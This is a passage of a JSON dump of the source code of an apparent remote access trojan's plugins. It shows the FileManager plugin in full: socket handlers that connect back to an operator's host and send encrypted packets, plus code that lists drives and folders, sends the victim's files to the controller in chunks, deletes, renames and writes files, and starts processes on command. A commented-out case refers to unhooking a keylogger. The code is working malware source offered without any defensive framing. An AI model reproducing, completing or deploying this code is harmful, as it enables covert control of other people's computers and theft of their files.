    "path": "Remote Access Tool/Plugins/Chat/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n        public bool closeClient { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n        public ClientHandler(Host host, string key) : base()\n        {\n            this.host = host;\n            this.key = key;\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n        }\n\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n\n        private int SendData(IPacket data)\n        {\n            try\n            {\n                byte[] encryptedData = data.SerializePacket(this.key);\n\n                int total = 0;\n                int size = encryptedData.Length;\n                int datalft = size;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectWrite);\n\n                byte[] temp = BitConverter.GetBytes(size);\n\n                header[0] = temp[0];\n                header[1] = temp[1];\n                header[2] = temp[2];\n                header[3] = temp[3];\n                header[4] = (byte)data.PacketType;\n\n                lock (socket)\n                {\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000) \n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData)) \n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n                }\n            }\n            catch (Exception ex)\n            {\n                Connected = false;\n                return 0;\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int size = sendDataAsync.EndInvoke(ar);\n            this.Dispose();\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/DeleteFile.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class DeleteFile\n    {\n        internal static Tuple<string, bool> RemoveFile(string path) \n        {\n            try\n            {\n                System.IO.File.Delete(path);\n                return Tuple.Create(path, true);\n            }\n            catch\n            {\n            }\n            return Tuple.Create(path, false);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/DownloadClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class DownloadClientHandler : IDisposable\n    {\n        internal readonly int BUFFER_CHUNK_SIZE = 524288;//524288 (1024 * 512) // 1048576 = 1MB (1024*1024) // 2097152 (1024 * 2048) // 4194304 (2048 * 2048)\n        public LoadingAPI loadingAPI { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public long fileTicket { get; set; }\n        public bool hasToExit { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n\n        public delegate byte[] ReadDataAsync();\n        public delegate IPacket ReadPacketAsync(byte[] BufferPacket);\n\n        public ReadDataAsync readDataAsync;\n        public ReadPacketAsync readPacketAsync;\n\n        public DownloadClientHandler(LoadingAPI loadingAPI, long fileTicket, int bufferSize = 524288) : base()\n        {\n            this.loadingAPI = loadingAPI;\n            this.fileTicket = fileTicket;\n            BUFFER_CHUNK_SIZE = bufferSize;\n            sendDataAsync = new SendDataAsync(SendData);\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            readPacketAsync = new ReadPacketAsync(PacketParser);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(loadingAPI.Host.host, loadingAPI.Host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n            /*else\n            {\n                Receive();\n            }*/\n        }\n\n\n        public void Receive()\n        {\n            if (hasToExit)\n            {\n                this.Dispose();\n                return;\n            }\n\n            if (Connected)\n                readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);\n            else\n                ConnectStart();\n        }\n\n        private byte[] ReceiveData()\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectRead);\n                recv = socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                if (Connected)\n                    hasToExit = true;\n\n                Connected = false;\n                return null;\n            }\n        }\n        public void EndDataRead(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n\n            if (data != null && data.Length > 0 && Connected)\n                readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);\n\n            Receive();\n        }\n\n\n        private IPacket PacketParser(byte[] BufferPacket)\n        {\n            return BufferPacket.DeserializePacket(loadingAPI.Key);\n        }\n        public void EndPacketRead(IAsyncResult ar)\n        {\n            IPacket packet = readPacketAsync.EndInvoke(ar);\n            ParsePacket(packet);\n        }\n\n        public void ParsePacket(IPacket packet)\n        {\n            return;\n            /*switch (packet.packetType)\n            {\n                case PacketType.KEYLOG_OFF:\n                    this.hasToExit = true;\n                    KeyLib.Hook.AbortHook();\n                    break;\n            }*/\n        }\n\n        internal void StartSendingFile(string filePath) \n        {\n            using (Stream source = File.OpenRead(filePath))\n            {\n                byte[] buffer = new byte[BUFFER_CHUNK_SIZE];//1MB \n                int bytesRead = 0;\n                long totalSize = new FileInfo(filePath).Length;\n\n                if (totalSize > BUFFER_CHUNK_SIZE)\n                {\n                    while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0)\n                    {\n                        Thread.Sleep(100);\n                        DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.BaseIp, loadingAPI.HWID, this.fileTicket);\n                        IAsyncResult ar = sendDataAsync.BeginInvoke(packetFile, null, null);\n                        Thread.Sleep(75);\n       \n                        int size = sendDataAsync.EndInvoke(ar);\n\n                        totalSize -= bytesRead;\n                        if (totalSize < BUFFER_CHUNK_SIZE)\n                            buffer = new byte[totalSize];\n                    }\n                }\n                else \n                {\n                    buffer = new byte[totalSize];\n                    source.Read(buffer, 0, buffer.Length);\n                    DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.BaseIp, loadingAPI.HWID, this.fileTicket);\n                    IAsyncResult ar = sendDataAsync.BeginInvoke(packetFile, null, null);\n                    int size = sendDataAsync.EndInvoke(ar);\n                }\n            }\n            this.Dispose();\n        }\n\n        private int SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(loadingAPI.Key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n                }\n\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/FileManager.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{08BF3C47-16A4-4D13-9A5B-3130F29CC180}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>FileManager</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"DeleteFile.cs\" />\n    <Compile Include=\"DownloadClientHandler.cs\" />\n    <Compile Include=\"GetDisks.cs\" />\n    <Compile Include=\"GetFilesAndDirs.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"MoveFile.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Shorcuts.cs\" />\n    <Compile Include=\"StartFile.cs\" />\n    <Compile Include=\"UploadFile.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Reference Include=\"System\">\n      <HintPath>..\\..\\..\\..\\..\\..\\..\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.5\\System.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Drawing\">\n      <HintPath>..\\..\\..\\..\\..\\..\\..\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.5\\System.Drawing.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.Windows.Forms\">\n      <HintPath>..\\..\\..\\..\\..\\..\\..\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.5\\System.Windows.Forms.dll</HintPath>\n    </Reference>\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/GetDisks.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.IO;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class GetDisks\n    {\n        internal static List<string> GetAllDisks() \n        {\n            List<string> disksList = new List<string>();\n            DriveInfo[] D = DriveInfo.GetDrives();\n            foreach (DriveInfo S in D)\n            {\n                disksList.Add(S.Name);\n            }\n\n            return disksList;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/GetFilesAndDirs.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.IO;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class GetFilesAndDirs\n    {\n        private static long GetFilesSize(string path) \n        {\n            long sizeDir = 0;\n\n            foreach (string file in Directory.GetFiles(path, \"*.*\", SearchOption.TopDirectoryOnly))\n            {\n                sizeDir += new FileInfo(file).Length;\n            }\n            return sizeDir;\n        }\n\n        internal static Dictionary<ushort, List<object[]>> GetAllFilesAndDirs(string path)\n        {\n            Dictionary<ushort, List<object[]>> fileManager = new Dictionary<ushort, List<object[]>>\n            {\n                { 0, new List<object[]>() },\n                { 1, new List<object[]>() }\n            };\n            try\n            {\n                foreach (string directory in Directory.GetDirectories(path, \"*.*\", SearchOption.TopDirectoryOnly))\n                {\n                    try\n                    {\n                        string nameDir = Path.GetFileName(directory);\n                      \n                        fileManager[0].Add(new object[] { nameDir, GetFilesSize(directory) });\n                    }\n                    catch (Exception)\n                    {\n                    }\n                }\n\n                foreach (string file in Directory.GetFiles(path, \"*.*\", SearchOption.TopDirectoryOnly))\n                {\n                    string filePath = Path.GetFileName(file);\n                    try\n                    {\n                        Icon i = Icon.ExtractAssociatedIcon(file);\n                        MemoryStream stream = new MemoryStream();\n                        Bitmap btm = i.ToBitmap();\n                        btm.Save(stream, ImageFormat.Png);\n                        FileInfo fileInfo = new FileInfo(file);\n                        fileManager[1].Add(new object[] { filePath, stream.ToArray(), fileInfo.Length });\n                    }\n                    catch (Exception)\n                    {\n                    }\n                }\n            }\n            catch (Exception)\n            {\n            }\n            return fileManager;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class Imports\n    {\n        #region \"kernel32\"\n        private const string kernel32 = \"kernel32.dll\";\n        [DllImport(kernel32)]\n        internal static extern bool MoveFile([MarshalAsAttribute(UnmanagedType.LPStr)] string lpExistingFileName, [MarshalAsAttribute(UnmanagedType.LPStr)] string lpNewFileName);\n        #endregion\n        #region \"shell32\"\n        //https://docs.microsoft.com/en-us/windows/win32/shell/knownfolderid\n        private const string shell32 = \"shell32.dll\";\n        [DllImport(shell32)]\n        internal static extern int SHGetKnownFolderPath([MarshalAs(UnmanagedType.LPStruct)] Guid rfid, uint dwFlags, IntPtr hToken, out IntPtr pszPath);\n        internal const string FOLDERID_Downloads = \"{374DE290-123F-4565-9164-39C4925E467B}\";\n        internal const string FOLDERID_Profile = \"{5E6C858F-0E22-4760-9AFE-EA3317B67173}\";\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/Launch.cs",
    "content": "﻿using PacketLib.Utils;\nusing PacketLib.Packet;\nusing PacketLib;\nusing System.Threading;\nusing System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            string filePath;\n            switch (loadingAPI.CurrentPacket.PacketType) \n            {\n                case PacketType.FM_GET_DISK:\n                    DiskPacket diskPacket = new DiskPacket(GetDisks.GetAllDisks(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, diskPacket);             \n                    break;\n\n                case PacketType.FM_GET_FILES_AND_DIRS:\n                    string path = ((FileManagerPacket)loadingAPI.CurrentPacket).path;\n                    FileManagerPacket fileManagerPacket = new FileManagerPacket(GetFilesAndDirs.GetAllFilesAndDirs(path), loadingAPI.BaseIp, loadingAPI.HWID);\n                    fileManagerPacket.path = path;\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, fileManagerPacket);\n                    break;\n\n                case PacketType.FM_DOWNLOAD_FILE:\n                    ClientFileSender(loadingAPI);\n                    break;\n\n                case PacketType.FM_DELETE_FILE:\n                    filePath = ((DeleteFilePacket)loadingAPI.CurrentPacket).path;\n                    Tuple<string, bool> returnFromFunc = DeleteFile.RemoveFile(filePath);\n                    DeleteFilePacket deleteFilePacket = new DeleteFilePacket(returnFromFunc.Item1, ((DeleteFilePacket)loadingAPI.CurrentPacket).name, returnFromFunc.Item2, loadingAPI.BaseIp, loadingAPI.HWID, ((DeleteFilePacket)loadingAPI.CurrentPacket).fileTicket);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, deleteFilePacket);\n                    break;\n\n                case PacketType.FM_START_FILE:\n                    filePath = ((StartFilePacket)loadingAPI.CurrentPacket).filePath;\n                    StartFile.StartAProcess(filePath);\n                    break;\n\n                case PacketType.FM_RENAME_FILE:\n                    RenameFilePacket renameFilePacketReceived = (RenameFilePacket)loadingAPI.CurrentPacket;\n                    RenameFilePacket renameFilePacket = new RenameFilePacket(renameFilePacketReceived.oldName, renameFilePacketReceived.oldPath, renameFilePacketReceived.newName, renameFilePacketReceived.newPath, loadingAPI.BaseIp, loadingAPI.HWID)\n                    {\n                        isRenamed = MoveFile.RenameFile(renameFilePacketReceived.oldPath, renameFilePacketReceived.newPath)\n                    };\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, renameFilePacket);\n                    break;\n\n                case PacketType.FM_SHORTCUT_PATH:\n                    ShortCutFileManagersPacket shortCutFileManagersPacketReceived = (ShortCutFileManagersPacket)loadingAPI.CurrentPacket;\n                    string newPath = \"\";\n                    ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(Shorcuts.ShortcutsWrapper(shortCutFileManagersPacketReceived.shortCuts, ref newPath), loadingAPI.BaseIp, loadingAPI.HWID);\n                    shortCutFileManagersPacket.shortCuts = shortCutFileManagersPacketReceived.shortCuts;\n                    shortCutFileManagersPacket.path = newPath;\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, shortCutFileManagersPacket);\n                    break;\n\n                case PacketType.FM_UPLOAD_FILE:\n                    UploadFilePacket uploadFilePacketReceived = (UploadFilePacket)loadingAPI.CurrentPacket;\n                    UploadFilePacket uploadFilePacket = new UploadFilePacket(uploadFilePacketReceived.path, UploadFile.WriteUploadedFile(uploadFilePacketReceived.path, Compressor.QuickLZ.Decompress(uploadFilePacketReceived.file)), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, uploadFilePacket);\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n\n        private static void ClientFileSender(LoadingAPI loadingAPI) \n        {\n            string filePath = ((DownloadFilePacket)loadingAPI.CurrentPacket).fileName;\n            DownloadClientHandler clientHandler = new DownloadClientHandler(loadingAPI, ((DownloadFilePacket)loadingAPI.CurrentPacket).fileTicket, ((DownloadFilePacket)loadingAPI.CurrentPacket).bufferSize);\n            clientHandler.ConnectStart();\n            while (!clientHandler.Connected)\n                Thread.Sleep(125);\n\n            clientHandler.StartSendingFile(filePath);\n        }\n\n        private static void ClientSender(Host host, string key, IPacket packet) \n        {\n            ClientHandler clientHandler = new ClientHandler(host, key);\n            clientHandler.ConnectStart();\n            while (!clientHandler.Connected)\n                Thread.Sleep(125);\n\n            clientHandler.SendPacket(packet);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/MoveFile.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class MoveFile\n    {\n        internal static bool RenameFile(string oldPath, string newPath) \n        {\n            try\n            {\n                return Imports.MoveFile(oldPath, newPath);\n            }\n            catch (Exception)\n            {\n                return false;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs",
